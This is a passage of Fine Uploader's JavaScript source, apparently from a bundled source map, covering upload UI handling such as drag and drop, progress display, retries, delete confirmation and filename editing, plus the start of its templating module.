DOMFocusIn event is not exposed as a property, so we have to resort to UA string sniffing.\n            this._focusinEventSupported = !qq.firefox();\n\n            if (this._isEditFilenameEnabled())\n            {\n                this._filenameClickHandler = this._bindFilenameClickEvent();\n                this._filenameInputFocusInHandler = this._bindFilenameInputFocusInEvent();\n                this._filenameInputFocusHandler = this._bindFilenameInputFocusEvent();\n            }\n        },\n\n        _setupDragAndDrop: function() {\n            var self = this,\n                dropZoneElements = this._options.dragAndDrop.extraDropzones,\n                templating = this._templating,\n                defaultDropZone = templating.getDropZone();\n\n            defaultDropZone && dropZoneElements.push(defaultDropZone);\n\n            return new qq.DragAndDrop({\n                dropZoneElements: dropZoneElements,\n                allowMultipleItems: this._options.multiple,\n                classes: {\n                    dropActive: this._options.classes.dropActive\n                },\n                callbacks: {\n                    processingDroppedFiles: function() {\n                        templating.showDropProcessing();\n                    },\n                    processingDroppedFilesComplete: function(files, targetEl) {\n                        templating.hideDropProcessing();\n\n                        qq.each(files, function(idx, file) {\n                            file.qqDropTarget = targetEl;\n                        });\n\n                        if (files.length) {\n                            self.addFiles(files, null, null);\n                        }\n                    },\n                    dropError: function(code, errorData) {\n                        self._itemError(code, errorData);\n                    },\n                    dropLog: function(message, level) {\n                        self.log(message, level);\n                    }\n                }\n            });\n        },\n\n        _bindFileButtonsClickEvent: function() {\n            var self = this;\n\n            return new qq.FileButtonsClickHandler({\n                templating: this._templating,\n\n                log: function(message, lvl) {\n                    self.log(message, lvl);\n                },\n\n                onDeleteFile: function(fileId) {\n                    self.deleteFile(fileId);\n                },\n\n                onCancel: function(fileId) {\n                    self.cancel(fileId);\n                },\n\n                onRetry: function(fileId) {\n                    self.retry(fileId);\n                },\n\n                onPause: function(fileId) {\n                    self.pauseUpload(fileId);\n                },\n\n                onContinue: function(fileId) {\n                    self.continueUpload(fileId);\n                },\n\n                onGetName: function(fileId) {\n                    return self.getName(fileId);\n                }\n            });\n        },\n\n        _isEditFilenameEnabled: function() {\n            /*jshint -W014 */\n            return this._templating.isEditFilenamePossible()\n                && !this._options.autoUpload\n                && qq.FilenameClickHandler\n                && qq.FilenameInputFocusHandler\n                && qq.FilenameInputFocusHandler;\n        },\n\n        _filenameEditHandler: function() {\n            var self = this,\n                templating = this._templating;\n\n            return {\n                templating: templating,\n                log: function(message, lvl) {\n                    self.log(message, lvl);\n                },\n                onGetUploadStatus: function(fileId) {\n                    return self.getUploads({id: fileId}).status;\n                },\n                onGetName: function(fileId) {\n                    return self.getName(fileId);\n                },\n                onSetName: function(id, newName) {\n                    self.setName(id, newName);\n                },\n                onEditingStatusChange: function(id, isEditing) {\n                    var qqInput = qq(templating.getEditInput(id)),\n                        qqFileContainer = qq(templating.getFileContainer(id));\n\n                    if (isEditing) {\n                        qqInput.addClass(\"qq-editing\");\n                        templating.hideFilename(id);\n                        templating.hideEditIcon(id);\n                    }\n                    else {\n                        qqInput.removeClass(\"qq-editing\");\n                        templating.showFilename(id);\n                        templating.showEditIcon(id);\n                    }\n\n                    // Force IE8 and older to repaint\n                    qqFileContainer.addClass(\"qq-temp\").removeClass(\"qq-temp\");\n                }\n            };\n        },\n\n        _onUploadStatusChange: function(id, oldStatus, newStatus) {\n            this._parent.prototype._onUploadStatusChange.apply(this, arguments);\n\n            if (this._isEditFilenameEnabled()) {\n                // Status for a file exists before it has been added to the DOM, so we must be careful here.\n                if (this._templating.getFileContainer(id) && newStatus !== qq.status.SUBMITTED) {\n                    this._templating.markFilenameEditable(id);\n                    this._templating.hideEditIcon(id);\n                }\n            }\n\n            if (newStatus === qq.status.UPLOAD_RETRYING) {\n                this._templating.hideRetry(id);\n                this._templating.setStatusText(id);\n                qq(this._templating.getFileContainer(id)).removeClass(this._classes.retrying);\n            }\n            else if (newStatus === qq.status.UPLOAD_FAILED) {\n                this._templating.hidePause(id);\n            }\n        },\n\n        _bindFilenameInputFocusInEvent: function() {\n            var spec = qq.extend({}, this._filenameEditHandler());\n\n            return new qq.FilenameInputFocusInHandler(spec);\n        },\n\n        _bindFilenameInputFocusEvent: function() {\n            var spec = qq.extend({}, this._filenameEditHandler());\n\n            return new qq.FilenameInputFocusHandler(spec);\n        },\n\n        _bindFilenameClickEvent: function() {\n            var spec = qq.extend({}, this._filenameEditHandler());\n\n            return new qq.FilenameClickHandler(spec);\n        },\n\n        _storeForLater: function(id) {\n            this._parent.prototype._storeForLater.apply(this, arguments);\n            this._templating.hideSpinner(id);\n        },\n\n        _onAllComplete: function(successful, failed) {\n            this._parent.prototype._onAllComplete.apply(this, arguments);\n            this._templating.resetTotalProgress();\n        },\n\n        _onSubmit: function(id, name) {\n            var file = this.getFile(id);\n\n            if (file && file.qqPath && this._options.dragAndDrop.reportDirectoryPaths) {\n                this._paramsStore.addReadOnly(id, {\n                    qqpath: file.qqPath\n                });\n            }\n\n            this._parent.prototype._onSubmit.apply(this, arguments);\n            this._addToList(id, name);\n        },\n\n        // The file item has been added to the DOM.\n        _onSubmitted: function(id) {\n            // If the edit filename feature is enabled, mark the filename element as \"editable\" and the associated edit icon\n            if (this._isEditFilenameEnabled()) {\n                this._templating.markFilenameEditable(id);\n                this._templating.showEditIcon(id);\n\n                // If the focusin event is not supported, we must add a focus handler to the newly create edit filename text input\n                if (!this._focusinEventSupported) {\n                    this._filenameInputFocusHandler.addHandler(this._templating.getEditInput(id));\n                }\n            }\n        },\n\n        // Update the progress bar & percentage as the file is uploaded\n        _onProgress: function(id, name, loaded, total) {\n            this._parent.prototype._onProgress.apply(this, arguments);\n\n            this._templating.updateProgress(id, loaded, total);\n\n            if (Math.round(loaded / total * 100) === 100) {\n                this._templating.hideCancel(id);\n                this._templating.hidePause(id);\n                this._templating.hideProgress(id);\n                this._templating.setStatusText(id, this._options.text.waitingForResponse);\n\n                // If ~last byte was sent, display total file size\n                this._displayFileSize(id);\n            }\n            else {\n                // If still uploading, display percentage - total size is actually the total request(s) size\n                this._displayFileSize(id, loaded, total);\n            }\n        },\n\n        _onTotalProgress: function(loaded, total) {\n            this._parent.prototype._onTotalProgress.apply(this, arguments);\n            this._templating.updateTotalProgress(loaded, total);\n        },\n\n        _onComplete: function(id, name, result, xhr) {\n            var parentRetVal = this._parent.prototype._onComplete.apply(this, arguments),\n                templating = this._templating,\n                fileContainer = templating.getFileContainer(id),\n                self = this;\n\n            function completeUpload(result) {\n                // If this file is not represented in the templating module, perhaps it was hidden intentionally.\n                // If so, don't perform any UI-related tasks related to this file.\n                if (!fileContainer) {\n                    return;\n                }\n\n                templating.setStatusText(id);\n\n                qq(fileContainer).removeClass(self._classes.retrying);\n                templating.hideProgress(id);\n\n                if (self.getUploads({id: id}).status !== qq.status.UPLOAD_FAILED) {\n                    templating.hideCancel(id);\n                }\n                templating.hideSpinner(id);\n\n                if (result.success) {\n                    self._markFileAsSuccessful(id);\n                }\n                else {\n                    qq(fileContainer).addClass(self._classes.fail);\n                    templating.showCancel(id);\n\n                    if (templating.isRetryPossible() && !self._preventRetries[id]) {\n                        qq(fileContainer).addClass(self._classes.retryable);\n                        templating.showRetry(id);\n                    }\n                    self._controlFailureTextDisplay(id, result);\n                }\n            }\n\n            // The parent may need to perform some async operation before we can accurately determine the status of the upload.\n            if (parentRetVal instanceof qq.Promise) {\n                parentRetVal.done(function(newResult) {\n                    completeUpload(newResult);\n                });\n\n            }\n            else {\n                completeUpload(result);\n            }\n\n            return parentRetVal;\n        },\n\n        _markFileAsSuccessful: function(id) {\n            var templating = this._templating;\n\n            if (this._isDeletePossible()) {\n                templating.showDeleteButton(id);\n            }\n\n            qq(templating.getFileContainer(id)).addClass(this._classes.success);\n\n            this._maybeUpdateThumbnail(id);\n        },\n\n        _onUploadPrep: function(id) {\n            this._parent.prototype._onUploadPrep.apply(this, arguments);\n            this._templating.showSpinner(id);\n        },\n\n        _onUpload: function(id, name) {\n            var parentRetVal = this._parent.prototype._onUpload.apply(this, arguments);\n\n            this._templating.showSpinner(id);\n\n            return parentRetVal;\n        },\n\n        _onUploadChunk: function(id, chunkData) {\n            this._parent.prototype._onUploadChunk.apply(this, arguments);\n\n            // Only display the pause button if we have finished uploading at least one chunk\n            // & this file can be resumed\n            if (chunkData.partIndex > 0 && this._handler.isResumable(id)) {\n                this._templating.allowPause(id);\n            }\n        },\n\n        _onCancel: function(id, name) {\n            this._parent.prototype._onCancel.apply(this, arguments);\n            this._removeFileItem(id);\n\n            if (this._getNotFinished() === 0) {\n                this._templating.resetTotalProgress();\n            }\n        },\n\n        _onBeforeAutoRetry: function(id) {\n            var retryNumForDisplay, maxAuto, retryNote;\n\n            this._parent.prototype._onBeforeAutoRetry.apply(this, arguments);\n\n            this._showCancelLink(id);\n\n            if (this._options.retry.showAutoRetryNote) {\n                retryNumForDisplay = this._autoRetries[id];\n                maxAuto = this._options.retry.maxAutoAttempts;\n\n                retryNote = this._options.retry.autoRetryNote.replace(/\\{retryNum\\}/g, retryNumForDisplay);\n                retryNote = retryNote.replace(/\\{maxAuto\\}/g, maxAuto);\n\n                this._templating.setStatusText(id, retryNote);\n                qq(this._templating.getFileContainer(id)).addClass(this._classes.retrying);\n            }\n        },\n\n        //return false if we should not attempt the requested retry\n        _onBeforeManualRetry: function(id) {\n            if (this._parent.prototype._onBeforeManualRetry.apply(this, arguments)) {\n                this._templating.resetProgress(id);\n                qq(this._templating.getFileContainer(id)).removeClass(this._classes.fail);\n                this._templating.setStatusText(id);\n                this._templating.showSpinner(id);\n                this._showCancelLink(id);\n                return true;\n            }\n            else {\n                qq(this._templating.getFileContainer(id)).addClass(this._classes.retryable);\n                this._templating.showRetry(id);\n                return false;\n            }\n        },\n\n        _onSubmitDelete: function(id) {\n            var onSuccessCallback = qq.bind(this._onSubmitDeleteSuccess, this);\n\n            this._parent.prototype._onSubmitDelete.call(this, id, onSuccessCallback);\n        },\n\n        _onSubmitDeleteSuccess: function(id, uuid, additionalMandatedParams) {\n            if (this._options.deleteFile.forceConfirm) {\n                this._showDeleteConfirm.apply(this, arguments);\n            }\n            else {\n                this._sendDeleteRequest.apply(this, arguments);\n            }\n        },\n\n        _onDeleteComplete: function(id, xhr, isError) {\n            this._parent.prototype._onDeleteComplete.apply(this, arguments);\n\n            this._templating.hideSpinner(id);\n\n            if (isError) {\n                this._templating.setStatusText(id, this._options.deleteFile.deletingFailedText);\n                this._templating.showDeleteButton(id);\n            }\n            else {\n                this._removeFileItem(id);\n            }\n        },\n\n        _sendDeleteRequest: function(id, uuid, additionalMandatedParams) {\n            this._templating.hideDeleteButton(id);\n            this._templating.showSpinner(id);\n            this._templating.setStatusText(id, this._options.deleteFile.deletingStatusText);\n            this._deleteHandler.sendDelete.apply(this, arguments);\n        },\n\n        _showDeleteConfirm: function(id, uuid, mandatedParams) {\n            /*jshint -W004 */\n            var fileName = this.getName(id),\n                confirmMessage = this._options.deleteFile.confirmMessage.replace(/\\{filename\\}/g, fileName),\n                uuid = this.getUuid(id),\n                deleteRequestArgs = arguments,\n                self = this,\n                retVal;\n\n            retVal = this._options.showConfirm(confirmMessage);\n\n            if (qq.isGenericPromise(retVal)) {\n                retVal.then(function() {\n                    self._sendDeleteRequest.apply(self, deleteRequestArgs);\n                });\n            }\n            else if (retVal !== false) {\n                self._sendDeleteRequest.apply(self, deleteRequestArgs);\n            }\n        },\n\n        _addToList: function(id, name, canned) {\n            var prependData,\n                prependIndex = 0,\n                dontDisplay = this._handler.isProxied(id) && this._options.scaling.hideScaled,\n                record;\n\n            if (this._options.display.prependFiles) {\n                if (this._totalFilesInBatch > 1 && this._filesInBatchAddedToUi > 0) {\n                    prependIndex = this._filesInBatchAddedToUi - 1;\n                }\n\n                prependData = {\n                    index: prependIndex\n                };\n            }\n\n            if (!canned) {\n                if (this._options.disableCancelForFormUploads && !qq.supportedFeatures.ajaxUploading) {\n                    this._templating.disableCancel();\n                }\n\n                // Cancel all existing (previous) files and clear the list if this file is not part of\n                // a scaled file group that has already been accepted, or if this file is not part of\n                // a scaled file group at all.\n                if (!this._options.multiple) {\n                    record = this.getUploads({id: id});\n\n                    this._handledProxyGroup = this._handledProxyGroup || record.proxyGroupId;\n\n                    if (record.proxyGroupId !== this._handledProxyGroup || !record.proxyGroupId) {\n                        this._handler.cancelAll();\n                        this._clearList();\n                        this._handledProxyGroup = null;\n                    }\n                }\n            }\n\n            if (canned) {\n                this._templating.addFileToCache(id, this._options.formatFileName(name), prependData, dontDisplay);\n                this._templating.updateThumbnail(id, this._thumbnailUrls[id], true, this._options.thumbnails.customResizer);\n            }\n            else {\n                this._templating.addFile(id, this._options.formatFileName(name), prependData, dontDisplay);\n                this._templating.generatePreview(id, this.getFile(id), this._options.thumbnails.customResizer);\n            }\n\n            this._filesInBatchAddedToUi += 1;\n\n            if (canned ||\n                (this._options.display.fileSizeOnSubmit && qq.supportedFeatures.ajaxUploading)) {\n\n                this._displayFileSize(id);\n            }\n        },\n\n        _clearList: function() {\n            this._templating.clearFiles();\n            this.clearStoredFiles();\n        },\n\n        _displayFileSize: function(id, loadedSize, totalSize) {\n            var size = this.getSize(id),\n                sizeForDisplay = this._formatSize(size);\n\n            if (size >= 0) {\n                if (loadedSize !== undefined && totalSize !== undefined) {\n                    sizeForDisplay = this._formatProgress(loadedSize, totalSize);\n                }\n\n                this._templating.updateSize(id, sizeForDisplay);\n            }\n        },\n\n        _formatProgress: function(uploadedSize, totalSize) {\n            var message = this._options.text.formatProgress;\n            function r(name, replacement) { message = message.replace(name, replacement); }\n\n            r(\"{percent}\", Math.round(uploadedSize / totalSize * 100));\n            r(\"{total_size}\", this._formatSize(totalSize));\n            return message;\n        },\n\n        _controlFailureTextDisplay: function(id, response) {\n            var mode, responseProperty, failureReason;\n\n            mode = this._options.failedUploadTextDisplay.mode;\n            responseProperty = this._options.failedUploadTextDisplay.responseProperty;\n\n            if (mode === \"custom\") {\n                failureReason = response[responseProperty];\n                if (!failureReason) {\n                    failureReason = this._options.text.failUpload;\n                }\n\n                this._templating.setStatusText(id, failureReason);\n\n                if (this._options.failedUploadTextDisplay.enableTooltip) {\n                    this._showTooltip(id, failureReason);\n                }\n            }\n            else if (mode === \"default\") {\n                this._templating.setStatusText(id, this._options.text.failUpload);\n            }\n            else if (mode !== \"none\") {\n                this.log(\"failedUploadTextDisplay.mode value of '\" + mode + \"' is not valid\", \"warn\");\n            }\n        },\n\n        _showTooltip: function(id, text) {\n            this._templating.getFileContainer(id).title = text;\n        },\n\n        _showCancelLink: function(id) {\n            if (!this._options.disableCancelForFormUploads || qq.supportedFeatures.ajaxUploading) {\n                this._templating.showCancel(id);\n            }\n        },\n\n        _itemError: function(code, name, item) {\n            var message = this._parent.prototype._itemError.apply(this, arguments);\n            this._options.showMessage(message);\n        },\n\n        _batchError: function(message) {\n            this._parent.prototype._batchError.apply(this, arguments);\n            this._options.showMessage(message);\n        },\n\n        _setupPastePrompt: function() {\n            var self = this;\n\n            this._options.callbacks.onPasteReceived = function() {\n                var message = self._options.paste.namePromptMessage,\n                    defaultVal = self._options.paste.defaultName;\n\n                return self._options.showPrompt(message, defaultVal);\n            };\n        },\n\n        _fileOrBlobRejected: function(id, name) {\n            this._totalFilesInBatch -= 1;\n            this._parent.prototype._fileOrBlobRejected.apply(this, arguments);\n        },\n\n        _prepareItemsForUpload: function(items, params, endpoint) {\n            this._totalFilesInBatch = items.length;\n            this._filesInBatchAddedToUi = 0;\n            this._parent.prototype._prepareItemsForUpload.apply(this, arguments);\n        },\n\n        _maybeUpdateThumbnail: function(fileId) {\n            var thumbnailUrl = this._thumbnailUrls[fileId],\n                fileStatus = this.getUploads({id: fileId}).status;\n\n            if (fileStatus !== qq.status.DELETED &&\n                (thumbnailUrl ||\n                this._options.thumbnails.placeholders.waitUntilResponse ||\n                !qq.supportedFeatures.imagePreviews)) {\n\n                // This will replace the \"waiting\" placeholder with a \"preview not available\" placeholder\n                // if called with a null thumbnailUrl.\n                this._templating.updateThumbnail(fileId, thumbnailUrl, this._options.thumbnails.customResizer);\n            }\n        },\n\n        _addCannedFile: function(sessionData) {\n            var id = this._parent.prototype._addCannedFile.apply(this, arguments);\n\n            this._addToList(id, this.getName(id), true);\n            this._templating.hideSpinner(id);\n            this._templating.hideCancel(id);\n            this._markFileAsSuccessful(id);\n\n            return id;\n        },\n\n        _setSize: function(id, newSize) {\n            this._parent.prototype._setSize.apply(this, arguments);\n\n            this._templating.updateSize(id, this._formatSize(newSize));\n        },\n\n        _sessionRequestComplete: function() {\n            this._templating.addCacheToDom();\n            this._parent.prototype._sessionRequestComplete.apply(this, arguments);\n        }\n    };\n}());\n","/*globals qq */\n/**\n * This defines FineUploader mode, which is a default UI w/ drag & drop uploading.\n */\nqq.FineUploader = function(o, namespace) {\n    \"use strict\";\n\n    var self = this;\n\n    // By default this should inherit instance data from FineUploaderBasic, but this can be overridden\n    // if the (internal) caller defines a different parent.  The parent is also used by\n    // the private and public API functions that need to delegate to a parent function.\n    this._parent = namespace ? qq[namespace].FineUploaderBasic : qq.FineUploaderBasic;\n    this._parent.apply(this, arguments);\n\n    // Options provided by FineUploader mode\n    qq.extend(this._options, {\n        element: null,\n\n        button: null,\n\n        listElement: null,\n\n        dragAndDrop: {\n            extraDropzones: [],\n            reportDirectoryPaths: false\n        },\n\n        text: {\n            formatProgress: \"{percent}% of {total_size}\",\n            failUpload: \"Upload failed\",\n            waitingForResponse: \"Processing...\",\n            paused: \"Paused\"\n        },\n\n        template: \"qq-template\",\n\n        classes: {\n            retrying: \"qq-upload-retrying\",\n            retryable: \"qq-upload-retryable\",\n            success: \"qq-upload-success\",\n            fail: \"qq-upload-fail\",\n            editable: \"qq-editable\",\n            hide: \"qq-hide\",\n            dropActive: \"qq-upload-drop-area-active\"\n        },\n\n        failedUploadTextDisplay: {\n            mode: \"default\", //default, custom, or none\n            responseProperty: \"error\",\n            enableTooltip: true\n        },\n\n        messages: {\n            tooManyFilesError: \"You may only drop one file\",\n            unsupportedBrowser: \"Unrecoverable error - this browser does not permit file uploading of any kind.\"\n        },\n\n        retry: {\n            showAutoRetryNote: true,\n            autoRetryNote: \"Retrying {retryNum}/{maxAuto}...\"\n        },\n\n        deleteFile: {\n            forceConfirm: false,\n            confirmMessage: \"Are you sure you want to delete {filename}?\",\n            deletingStatusText: \"Deleting...\",\n            deletingFailedText: \"Delete failed\"\n\n        },\n\n        display: {\n            fileSizeOnSubmit: false,\n            prependFiles: false\n        },\n\n        paste: {\n            promptForName: false,\n            namePromptMessage: \"Please name this image\"\n        },\n\n        thumbnails: {\n            customResizer: null,\n            maxCount: 0,\n            placeholders: {\n                waitUntilResponse: false,\n                notAvailablePath: null,\n                waitingPath: null\n            },\n            timeBetweenThumbs: 750\n        },\n\n        scaling: {\n            hideScaled: false\n        },\n\n        showMessage: function(message) {\n            if (self._templating.hasDialog(\"alert\")) {\n                return self._templating.showDialog(\"alert\", message);\n            }\n            else {\n                setTimeout(function() {\n                    window.alert(message);\n                }, 0);\n            }\n        },\n\n        showConfirm: function(message) {\n            if (self._templating.hasDialog(\"confirm\")) {\n                return self._templating.showDialog(\"confirm\", message);\n            }\n            else {\n                return window.confirm(message);\n            }\n        },\n\n        showPrompt: function(message, defaultValue) {\n            if (self._templating.hasDialog(\"prompt\")) {\n                return self._templating.showDialog(\"prompt\", message, defaultValue);\n            }\n            else {\n                return window.prompt(message, defaultValue);\n            }\n        }\n    }, true);\n\n    // Replace any default options with user defined ones\n    qq.extend(this._options, o, true);\n\n    this._templating = new qq.Templating({\n        log: qq.bind(this.log, this),\n        templateIdOrEl: this._options.template,\n        containerEl: this._options.element,\n        fileContainerEl: this._options.listElement,\n        button: this._options.button,\n        imageGenerator: this._imageGenerator,\n        classes: {\n            hide: this._options.classes.hide,\n            editable: this._options.classes.editable\n        },\n        limits: {\n            maxThumbs: this._options.thumbnails.maxCount,\n            timeBetweenThumbs: this._options.thumbnails.timeBetweenThumbs\n        },\n        placeholders: {\n            waitUntilUpdate: this._options.thumbnails.placeholders.waitUntilResponse,\n            thumbnailNotAvailable: this._options.thumbnails.placeholders.notAvailablePath,\n            waitingForThumbnail: this._options.thumbnails.placeholders.waitingPath\n        },\n        text: this._options.text\n    });\n\n    if (this._options.workarounds.ios8SafariUploads && qq.ios800() && qq.iosSafari()) {\n        this._templating.renderFailure(this._options.messages.unsupportedBrowserIos8Safari);\n    }\n    else if (!qq.supportedFeatures.uploading || (this._options.cors.expected && !qq.supportedFeatures.uploadCors)) {\n        this._templating.renderFailure(this._options.messages.unsupportedBrowser);\n    }\n    else {\n        this._wrapCallbacks();\n\n        this._templating.render();\n\n        this._classes = this._options.classes;\n\n        if (!this._options.button && this._templating.getButton()) {\n            this._defaultButtonId = this._createUploadButton({\n                element: this._templating.getButton(),\n                title: this._options.text.fileInputTitle\n            }).getButtonId();\n        }\n\n        this._setupClickAndEditEventHandlers();\n\n        if (qq.DragAndDrop && qq.supportedFeatures.fileDrop) {\n            this._dnd = this._setupDragAndDrop();\n        }\n\n        if (this._options.paste.targetElement && this._options.paste.promptForName) {\n            if (qq.PasteSupport) {\n                this._setupPastePrompt();\n            }\n            else {\n                this.log(\"Paste support module not found.\", \"error\");\n            }\n        }\n\n        this._totalFilesInBatch = 0;\n        this._filesInBatchAddedToUi = 0;\n    }\n};\n\n// Inherit the base public & private API methods\nqq.extend(qq.FineUploader.prototype, qq.basePublicApi);\nqq.extend(qq.FineUploader.prototype, qq.basePrivateApi);\n\n// Add the FineUploader/default UI public & private UI methods, which may override some base methods.\nqq.extend(qq.FineUploader.prototype, qq.uiPublicApi);\nqq.extend(qq.FineUploader.prototype, qq.uiPrivateApi);\n","/* globals qq */\n/* jshint -W065 */\n/**\n * Module responsible for rendering all Fine Uploader UI templates.  This module also asserts at least\n * a limited amount of control over the template elements after they are added to the DOM.\n * Wherever possible, this module asserts total control over template elements present in the DOM.\n *\n * @param spec Specification object used to control various templating behaviors\n * @constructor\n */\nqq.Templating = function(spec) {\n    \"use strict\";\n\n    var FILE_ID_ATTR = \"qq-file-id\",\n        FILE_CLASS_PREFIX = \"qq-file-id-\",\n        THUMBNAIL_MAX_SIZE_ATTR = \"qq-max-size\",\n        THUMBNAIL_SERVER_SCALE_ATTR = \"qq-server-scale\",\n        // This variable is duplicated in the DnD module since it can function as a standalone as well\n        HIDE_DROPZONE_ATTR = \"qq-hide-dropzone\",\n        DROPZPONE_TEXT_ATTR = \"qq-drop-area-text\",\n        IN_PROGRESS_CLASS = \"qq-in-progress\",\n        HIDDEN_FOREVER_CLASS = \"qq-hidden-forever\",\n        fileBatch = {\n            content: document.createDocumentFragment(),\n            map: {}\n        },\n        isCancelDisabled = false,\n        generatedThumbnails = 0,\n        thumbnailQueueMonitorRunning = false,\n        thumbGenerationQueue = [],\n        thumbnailMaxSize = -1,\n        options = {\n            log: null,\n            limits: {\n                maxThumbs: 0,\n                timeBetweenThumbs: 750\n            },\n            templateIdOrEl: \"qq-template\",\n            containerEl: null,\n            fileContainerEl: null,\n            button: null,\n            imageGenerator: null,\n            classes: {\n                hide: \"qq-hide\",\n                editable: \"qq-editable\"\n            },\n            placeholders: {\n                waitUntilUpdate: false,\n                thumbnailNotAvailable: null,\n                waitingForThumbnail: null\n            },\n            text: {\n                paused: \"Paused\"\n            }\n        },\n        selectorClasses = {\n            button: \"qq-upload-button-selector\",\n            alertDialog: \"qq-alert-dialog-selector\",\n            dialogCancelButton: \"qq-cancel-button-selector\",\n            confirmDialog: \"qq-confirm-dialog-selector\",\n            dialogMessage: \"qq-dialog-message-selector\",\n            dialogOkButton: \"qq-ok-button-selector\",\n            promptDialog: \"qq-prompt-dialog-selector\",\n            uploader: \"qq-uploader-selector\",\n            drop: \"qq-upload-drop-area-selector\",\n            list: \"qq-upload-list-selector\",\n            progressBarContainer: \"qq-progress-bar-container-selector\",\n            progressBar: \"qq-progress-bar-selector\",\n            totalProgressBarContainer: \"qq-total-progress-bar-container-selector\",\n            totalProgressBar: \"qq-total-progress-bar-selector\",\n            file: \"qq-upload-file-selector\",\n            spinner: \"qq-upload-spinner-selector\",\n            size: \"qq-upload-size-selector\",\n            cancel: \"qq-upload-cancel-selector\",\n            pause: \"qq-upload-pause-selector\",\n            continueButton: \"qq-upload-continue-selector\",\n            deleteButton: \"qq-upload-delete-selector\",\n            retry: \"qq-upload-retry-selector\",\n            statusText: \"qq-upload-status-text-selector\",\n            editFilenameInput: \"qq-edit-filename-selector\",\n            editNameIcon: \"qq-edit-filename-icon-selector\",\n            dropText: \"qq-upload-drop-area-text-selector\",\n            dropProcessing: \"qq-drop-processing-selector\",\n            dropProcessingSpinner: \"qq-drop-processing-spinner-selector\",\n            thumbnail: \"qq-thumbnail-selector\"\n        },\n        previewGeneration = {},\n        cachedThumbnailNotAvailableImg = new qq.Promise(),\n        cachedWaitingForThumbnailImg = new qq.Promise(),\n        log,\n        isEditElementsExist,\n        isRetryElementExist,\n        templateHtml,\n        container,\n        fileList,\n        showThumbnails,\n        serverScale,\n\n        // During initialization of the templating module we should cache any\n        // placeholder images so we can quickly swap them into the file list on demand.\n        // Any placeholder images that cannot be loaded/found are simply ignored.\n        cacheThumbnailPlaceholders = function() {\n            var notAvailableUrl =  options.placeholders.thumbnailNotAvailable,\n                waitingUrl = options.placeholders.waitingForThumbnail,\n                spec = {\n                    maxSize: thumbnailMaxSize,\n                    scale: serverScale\n                };\n\n            if (showThumbnails) {\n                if (notAvailableUrl) {\n                    options.imageGenerator.generate(notAvailableUrl, new Image(), spec).then(\n                        function(updatedImg) {\n                            cachedThumbnailNotAvailableImg.success(updatedImg);\n                        },\n                        function() {\n                            cachedThumbnailNotAvailableImg.failure();\n                            log(\"Problem loading 'not available' placeholder image at \" + notAvailableUrl, \"error\");\n                        }\n                    );\n                }\n                else {\n                    cachedThumbnailNotAvailableImg.failure();\n                }\n\n                if (waitingUrl) {\n                    options.imageGenerator.generate(waitingUrl, new Image(), spec).then(\n                        function(updatedImg) {\n                            cachedWaitingForThumbnailImg.success(updatedImg);\n                        },\n                        function() {\n                            cachedWaitingForThumbnailImg.failure();\n                            log(\"Problem loading 'waiting for thumbnail' placeholder image at \" + waitingUrl, \"error\");\n                        }\n                    );\n                }\n                else {\n                    cachedWaitingForThumbnailImg.failure();\n                }\n            }\n        },\n\n        // Displays a \"waiting for thumbnail\" type placeholder image\n        // iff we were able to load it during initialization of the templating module.\n        displayWaitingImg = function(thumbnail) {\n            var waitingImgPlacement = new qq.Promise();\n\n            cachedWaitingForThumbnailImg.then(function(img) {\n                maybeScalePlaceholderViaCss(img, thumbnail);\n                /* jshint eqnull:true */\n                if (!thumbnail.src) {\n                    thumbnail.src = img.src;\n                    thumbnail.onload = function() {\n                        thumbnail.onload = null;\n                        show(thumbnail);\n                        waitingImgPlacement.success();\n                    };\n                }\n                else {\n                    waitingImgPlacement.success();\n                }\n            }, function() {\n                // In some browsers (such as IE9 and older) an img w/out a src attribute\n                // are displayed as \"broken\" images, so we should just hide the img tag\n                // if we aren't going to display the \"waiting\" placeholder.\n                hide(thumbnail);\n                waitingImgPlacement.success();\n            });\n\n            return waitingImgPlacement;\n        },\n\n        generateNewPreview = function(id, blob, spec) {\n            var thumbnail = getThumbnail(id);\n\n            log(\"Generating new thumbnail for \" + id);\n            blob.qqThumbnailId = id;\n\n            return options.imageGenerator.generate(blob, thumbnail, spec).then(\n                function() {\n                    generatedThumbnails++;\n                    show(thumbnail);\n                    previewGeneration[id].success();\n                },\n                function() {\n                    previewGeneration[id].failure();\n\n                    // Display the \"not available\" placeholder img only if we are\n                    // not expecting a thumbnail at a later point, such as in a server response.\n                    if (!options.placeholders.waitUntilUpdate) {\n                        maybeSetDisplayNotAvailableImg(id, thumbnail);\n                    }\n                });\n        },\n\n        generateNextQueuedPreview = function() {\n            if (thumbGenerationQueue.length) {\n                thumbnailQueueMonitorRunning = true;\n\n                var queuedThumbRequest = thumbGenerationQueue.shift();\n\n                if (queuedThumbRequest.update) {\n                    processUpdateQueuedPreviewRequest(queuedThumbRequest);\n                }\n                else {\n                    processNewQueuedPreviewRequest(queuedThumbRequest);\n                }\n            }\n            else {\n                thumbnailQueueMonitorRunning = false;\n            }\n        },\n\n        getCancel = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.cancel);\n        },\n\n        getContinue = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.continueButton);\n        },\n\n        getDialog = function(type) {\n            return getTemplateEl(container, selectorClasses[type + \"Dialog\"]);\n        },\n\n        getDelete = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.deleteButton);\n        },\n\n        getDropProcessing = function() {\n            return getTemplateEl(container, selectorClasses.dropProcessing);\n        },\n\n        getEditIcon = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.editNameIcon);\n        },\n\n        getFile = function(id) {\n            return fileBatch.map[id] || qq(fileList).getFirstByClass(FILE_CLASS_PREFIX + id);\n        },\n\n        getFilename = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.file);\n        },\n\n        getPause = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.pause);\n        },\n\n        getProgress = function(id) {\n            /* jshint eqnull:true */\n            // Total progress bar\n            if (id == null) {\n                return getTemplateEl(container, selectorClasses.totalProgressBarContainer) ||\n                    getTemplateEl(container, selectorClasses.totalProgressBar);\n            }\n\n            // Per-file progress bar\n            return getTemplateEl(getFile(id), selectorClasses.progressBarContainer) ||\n                getTemplateEl(getFile(id), selectorClasses.progressBar);\n        },\n\n        getRetry = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.retry);\n        },\n\n        getSize = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.size);\n        },\n\n        getSpinner = function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.spinner);\n        },\n\n        getTemplateEl = function(context, cssClass) {\n            return context && 